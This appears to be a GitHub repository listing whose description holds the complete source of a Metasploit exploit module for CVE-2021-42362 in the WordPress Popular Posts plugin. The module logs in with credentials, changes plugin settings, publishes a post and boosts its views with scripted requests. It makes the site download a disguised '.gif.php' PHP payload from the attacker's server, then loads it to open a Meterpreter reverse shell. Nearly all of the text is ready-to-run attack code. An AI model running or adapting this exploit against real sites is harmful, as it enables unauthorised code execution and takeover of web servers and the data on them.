GitHub repository: CPT-Jack-A-Castle/-nate158.res.codeRex.sleepsession.type.to_s.eql-shell-
Description: ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule < Msf::Exploit::Remote   Rank = NormalRanking    prepend Msf::Exploit::Remote::AutoCheck   include Msf::Exploit::FileDropper   include Msf::Exploit::Remote::HttpClient   include Msf::Exploit::Remote::HttpServer   include Msf::Exploit::Remote::HTTP::Wordpress    def initialize(info = {})     super(       update_info(         info,         'Name' => 'Wordpress Popular Posts Authenticated RCE',         'Description' => %q{           This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080.           The FQDN must also not resolve to a reserved address (192/172/127/10).  The server must also respond to a HEAD request           for the payload, prior to getting a GET request.           This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2.           The exploit chain is rather complicated.  Authentication is required and 'gd' for PHP is required on the server.           Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.           A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once           the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded           which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a           double extension ('.gif.php') allowing for arbitrary PHP code to be executed.         },         'License' => MSF_LICENSE,         'Author' => [           'h00die', # msf module           'Simone Cristofaro', # edb           'Jerome Bruandet' # original analysis         ],         'References' => [           [ 'EDB', '50129' ],           [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],           [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],           [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],           [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],           [ 'CVE', '2021-42362' ]         ],         'Platform' => ['php'],         'Stance' => Msf::Exploit::Stance::Aggressive,         'Privileged' => false,         'Arch' => ARCH_PHP,         'Targets' => [           [ 'Automatic Target', {}]         ],         'DisclosureDate' => '2021-06-11',         'DefaultTarget' => 0,         'DefaultOptions' => {           'PAYLOAD' => 'php/meterpreter/reverse_tcp',           'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger         },         'Notes' => {           'Stability' => [ CRASH_SAFE ],           'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],           'Reliability' => [ REPEATABLE_SESSION ]         }       )     )      register_options [       OptString.new('USERNAME', [true, 'Username of the account', 'admin']),       OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),       OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),       # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560       OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']),       # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584       OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),     ]   end    def check     return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?      checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')     if checkcode == CheckCode::Safe       print_error('Popular Posts not a vulnerable version')     end     return checkcode   end    def trigger_payload(on_disk_payload_name)     res = send_request_cgi(       'uri' => normalize_uri(target_uri.path),       'keep_cookies' => 'true'     )     # loop this 5 times just incase there is a time delay in writing the file by the server     (1..5).each do |i|       print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5")       Rex.sleep(10)       res = send_request_cgi(         'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),         'keep_cookies' => 'true'       )     end     if res && res.code == 404       print_error('Failed to find payload, may not have uploaded correctly.')     end   end    def on_request_uri(cli, request, payload_name, post_id)     if request.method == 'HEAD'       print_good('Responding to initial HEAD request (passed check 1)')       # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length       # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes.       # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught       return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s })     end     if request.method == 'GET'       on_disk_payload_name = "#{post_id}_#{payload_name}"       register_file_for_cleanup(on_disk_payload_name)       print_good('Responding to GET request (passed check 2)')       send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif')       close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions       Rex.sleep(2) # wait for WP to finish all the checks it needs       trigger_payload(on_disk_payload_name)     end     print_status("Received unexpected #{request.method} request")   end    def check_gd_installed(cookie)     vprint_status('Checking if gd is installed')     res = send_request_cgi(       'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),       'method' => 'GET',       'cookie' => cookie,       'keep_cookies' => 'true',       'vars_get' => {         'page' => 'wordpress-popular-posts',         'tab' => 'debug'       }     )     fail_with(Failure::Unreachable, 'Site not responding') unless res     fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200     res.body.include? ' gd'   end    def get_wpp_admin_token(cookie)     vprint_status('Retrieving wpp_admin token')     res = send_request_cgi(       'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),       'method' => 'GET',       'cookie' => cookie,       'keep_cookies' => 'true',       'vars_get' => {         'page' => 'wordpress-popular-posts',         'tab' => 'tools'       }     )     fail_with(Failure::Unreachable, 'Site not responding') unless res     fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200     /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body     Regexp.last_match(1)   end    def change_settings(cookie, token)     vprint_status('Updating popular posts settings for images')     res = send_request_cgi(       'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),       'method' => 'POST',       'cookie' => cookie,       'keep_cookies' => 'true',       'vars_get' => {         'page' => 'wordpress-popular-posts',         'tab' => 'debug'       },       'vars_post' => {         'upload_thumb_src' => '',         'thumb_source' => 'custom_field',         'thumb_lazy_load' => 0,         'thumb_field' => 'wpp_thumbnail',         'thumb_field_resize' => 1,         'section' => 'thumb',         'wpp-admin-token' => token       }     )     fail_with(Failure::Unreachable, 'Site not responding') unless res     fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200     fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body   end    def clear_cache(cookie, token)     vprint_status('Clearing image cache')     res = send_request_cgi(       'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),       'method' => 'POST',       'cookie' => cookie,       'keep_cookies' => 'true',       'vars_get' => {         'page' => 'wordpress-popular-posts',         'tab' => 'debug'       },       'vars_post' => {         'action' => 'wpp_clear_thumbnail',         'wpp-admin-token' => token       }     )     fail_with(Failure::Unreachable, 'Site not responding') unless res     fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200   end    def enable_custom_fields(cookie, custom_nonce, post)     # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.     res = send_request_cgi!(       'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'),       'cookie' => cookie,       'keep_cookies' => 'true',       'method' => 'POST',       'vars_post' => {         'toggle-custom-fields-nonce' => custom_nonce,         '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit",         'action' => 'toggle-custom-fields'       }     )     /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body     Regexp.last_match(1)   end    def create_post(cookie)     vprint_status('Creating new post')     # get post ID and nonces     res = send_request_cgi(       'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),       'cookie' => cookie,       'keep_cookies' => 'true'     )     fail_with(Failure::Unreachable, 'Site not responding') unless res     fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200     /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body     /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body     /},"post":{"id":(?<post_id>\d*)/ =~ res.body     if ajax_nonce.nil?       print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this.  See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')       /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body       ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)     end     unless ajax_nonce.nil?       vprint_status("ajax nonce: #{ajax_nonce}")     end     unless wp_nonce.nil?       vprint_status("wp nonce: #{wp_nonce}")     end     unless post_id.nil?       vprint_status("Created Post: #{post_id}")     end     fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id      # publish new post     vprint_status("Writing content to Post: #{post_id}")     # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits     res = send_request_cgi(       'uri' => normalize_uri(target_uri.path, 'index.php'),       'method' => 'POST',       'cookie' => cookie,       'keep_cookies' => 'true',       'ctype' => 'application/json',       'accept' => 'application/json',       'vars_get' => {         '_locale' => 'user',         'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)       },       'data' => {         'id' => post_id,         'title' => Rex::Text.rand_text_alphanumeric(20..30),         'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->",         'status' => 'publish'       }.to_json,       'headers' => {         'X-WP-Nonce' => wp_nonce,         'X-HTTP-Method-Override' => 'PUT'       }     )      fail_with(Failure::Unreachable, 'Site not responding') unless res     fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200     fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'     return post_id, ajax_nonce, wp_nonce   end    def add_meta(cookie, post_id, ajax_nonce, payload_name)     payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"     vprint_status("Adding malicious metadata for redirect to #{payload_url}")     res = send_request_cgi(       'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),       'method' => 'POST',       'cookie' => cookie,       'keep_cookies' => 'true',       'vars_post' => {         '_ajax_nonce' => 0,         'action' => 'add-meta',         'metakeyselect' => 'wpp_thumbnail',         'metakeyinput' => '',         'metavalue' => payload_url,         '_ajax_nonce-add-meta' => ajax_nonce,         'post_id' => post_id       }     )     fail_with(Failure::Unreachable, 'Site not responding') unless res     fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200     fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"   end    def boost_post(cookie, post_id, wp_nonce, post_count)     # redirect as needed     res = send_request_cgi(       'uri' => normalize_uri(target_uri.path, 'index.php'),       'keep_cookies' => 'true',       'cookie' => cookie,       'vars_get' => { 'page_id' => post_id }     )     fail_with(Failure::Unreachable, 'Site not responding') unless res     fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301     print_status("Sending #{post_count} views to #{res.headers['Location']}")     location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after>     (1..post_count).each do |_c|       res = send_request_cgi!(         'uri' => "/#{location}",         'cookie' => cookie,         'keep_cookies' => 'true'       )       # just send away, who cares about the response       fail_with(Failure::Unreachable, 'Site not responding') unless res       fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200       res = send_request_cgi(         # this URL varies from the POC on EDB, and is modeled after what the browser does         'uri' => normalize_uri(target_uri.path, 'index.php'),         'vars_get' => {           'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')         },         'keep_cookies' => 'true',         'method' => 'POST',         'cookie' => cookie,         'vars_post' => {           '_wpnonce' => wp_nonce,           'wpp_id' => post_id,           'sampling' => 0,           'sampling_rate' => 100         }       )       fail_with(Failure::Unreachable, 'Site not responding') unless res       fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201     end     fail_with(Failure::Unreachable, 'Site not responding') unless res   end    def get_top_posts     print_status('Determining post with most views')     res = get_widget     />(?<views>\d+) views</ =~ res.body     views = views.to_i     print_status("Top Views: #{views}")     views += 5 # make us the top post     unless datastore['VISTS'].nil?       print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}")       views = datastore['VISITS']     end     views   end    def get_widget     # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond     # which then would kill the exploit, so in this case we just keep trying.     (1..10).each do |_|       @res = send_request_cgi(         'uri' => normalize_uri(target_uri.path),         'keep_cookies' => 'true'       )       break unless @res.nil?     end     fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200     /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body     # load the widget directly     (1..10).each do |_|       @res = send_request_cgi(         'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),         'keep_cookies' => 'true',         'vars_get' => {           'is_single' => 0         }       )       break unless @res.nil?     end     fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200     @res   end    def exploit     fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'     cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])      if cookie.nil?       vprint_error('Invalid login, check credentials')       return     end      payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"     vprint_status("Payload file name: #{payload_name}")      fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)     post_count = get_top_posts      # we dont need to pass the cookie anymore since its now saved into http client     token = get_wpp_admin_token(cookie)     vprint_status("wpp_admin_token: #{token}")     change_settings(cookie, token)     clear_cache(cookie, token)     post_id, ajax_nonce, wp_nonce = create_post(cookie)     print_status('Starting web server to handle request for image payload')     start_service({       'Uri' => {         'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },         'Path' => "/#{payload_name}"       }     })      add_meta(cookie, post_id, ajax_nonce, payload_name)     boost_post(cookie, post_id, wp_nonce, post_count)     print_status('Waiting 90sec for cache refresh by server')     Rex.sleep(90)     print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')     res = get_widget     print_good('We made it to the top!') if res.body.include? payload_name     # if res.body.include? datastore['SRVHOSTNAME']     #  fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.")     # end     # at this point, we rely on our web server getting requests to make the rest happen   end end